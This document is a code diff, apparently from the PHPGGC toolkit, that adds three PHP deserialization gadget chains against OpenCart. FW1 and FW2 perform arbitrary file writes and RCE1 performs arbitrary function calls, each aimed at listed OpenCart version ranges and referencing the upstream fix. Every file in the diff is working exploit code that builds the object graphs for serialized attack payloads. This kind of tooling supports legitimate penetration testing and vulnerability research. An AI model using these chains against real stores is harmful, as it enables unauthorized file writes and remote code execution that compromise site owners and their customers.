OpenCart FW1, FW2 and RCE1

gadgetchains/OpenCart/FW/1/chain.php

@@ -0,0 +1,26 @@
+<?php
+
+namespace GadgetChain\OpenCart;
+
+class FW1 extends \PHPGGC\GadgetChain\FileWrite
+{
+    public static $version = '4.0.0.0 <= 4.0.2.3+';
+    public static $vector = '__destruct';
+    public static $author = 'mcdruid';
+    public static $information = 'This will stop working when the following:
+    https://github.com/opencart/opencart/commit/087e20dd1cd9b441be5a327fd4b6698744bffb38
+    ..is included in a release.';
+
+    public function generate(array $parameters)
+    {
+        $path = $parameters['remote_path'];
+        $data = $parameters['data'];
+
+        return new \Opencart\System\Library\DB\MySQLi(
+            new \Opencart\System\Library\Session(
+                new \Opencart\System\Library\Log($path),
+                $data
+            )
+        );
+    }
+}

gadgetchains/OpenCart/FW/1/gadgets.php

@@ -0,0 +1,38 @@
+<?php
+
+namespace Opencart\System\Library\DB
+{
+    class MySQLi
+    {
+        private object|null $connection;
+
+        function __construct($connection)
+        {
+            $this->connection = $connection;
+        }
+    }
+}
+
+namespace Opencart\System\Library
+{
+    class Session
+    {
+        protected object $adaptor;
+        protected string $session_id;
+
+        public function __construct($adaptor, $session_id)
+        {
+            $this->adaptor = $adaptor;
+            $this->session_id = $session_id;
+        }
+    }
+
+    class Log
+    {
+        private string $file;
+
+        public function __construct($file) {
+            $this->file = $file;
+        }
+    }
+}

gadgetchains/OpenCart/FW/2/chain.php

@@ -0,0 +1,28 @@
+<?php
+
+namespace GadgetChain\OpenCart;
+
+class FW2 extends \PHPGGC\GadgetChain\FileWrite
+{
+    public static $version = '3.0.3.5 <= 3.0.4.0+';
+    public static $vector = '__destruct';
+    public static $author = 'mcdruid';
+    public static $information = '
+      https://seclists.org/fulldisclosure/2022/May/30 describes a Gadget Chain
+      using the Twig_Cache_Filesystem class, presumably in an older release.';
+
+    public function generate(array $parameters)
+    {
+        $path = $parameters['remote_path'];
+        $data = $parameters['data'];
+
+        return new \DB\MySQLi(
+            new \Session(
+                // new \Twig_Cache_Filesystem(), // OpenCart 3.0.3.3 or older.
+                new \Twig\Cache\FilesystemCache(),
+                $path,
+                $data
+            )
+        );
+    }
+}

gadgetchains/OpenCart/FW/2/gadgets.php

@@ -0,0 +1,43 @@
+<?php
+
+namespace DB
+{
+    class MySQLi
+    {
+        private object|null $connection;
+
+        function __construct($connection)
+        {
+            $this->connection = $connection;
+        }
+    }
+}
+
+namespace {
+    class Session
+    {
+        protected object $adaptor;
+        protected string $session_id;
+        public $data;
+
+        public function __construct($adaptor, $session_id, $data)
+        {
+            $this->adaptor = $adaptor;
+            $this->session_id = $session_id;
+            $this->data = $data;
+        }
+    }
+
+    class Twig_Cache_Filesystem
+    {
+        // for OpenCart 3.0.3.3 or older.
+    }
+}
+
+namespace Twig\Cache
+{
+    class FilesystemCache
+    {
+
+    }
+}

gadgetchains/OpenCart/RCE/1/chain.php

@@ -0,0 +1,26 @@
+<?php
+
+namespace GadgetChain\OpenCart;
+
+class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall
+{
+    public static $version = '4.0.0.0 <= 4.0.2.3+';
+    public static $vector = '__destruct';
+    public static $author = 'mcdruid';
+    public static $information = 'This will stop working when the following:
+    https://github.com/opencart/opencart/commit/087e20dd1cd9b441be5a327fd4b6698744bffb38
+    ..is included in a release.';
+
+    public function generate(array $parameters)
+    {
+        $function = $parameters['function'];
+        $parameter = $parameters['parameter'];
+
+        return new \Opencart\System\Library\DB\MySQLi(
+            new \Opencart\System\Library\Session(
+                new \Opencart\System\Engine\Proxy('write', $function),
+                $parameter
+            )
+        );
+    }
+}

gadgetchains/OpenCart/RCE/1/gadgets.php

@@ -0,0 +1,42 @@
+<?php
+
+namespace Opencart\System\Library\DB
+{
+    class MySQLi
+    {
+        private object|null $connection;
+
+        function __construct($connection)
+        {
+            $this->connection = $connection;
+        }
+    }
+}
+
+namespace Opencart\System\Library
+{
+    class Session
+    {
+        protected object $adaptor;
+        protected string $session_id;
+
+        public function __construct($adaptor, $session_id)
+        {
+            $this->adaptor = $adaptor;
+            $this->session_id = $session_id;
+        }
+    }
+}
+
+namespace Opencart\System\Engine
+{
+    Class Proxy
+    {
+        protected $data = [];
+
+        public function __construct($key, $function)
+        {
+            $this->data[$key] = $function;
+        }
+    }
+}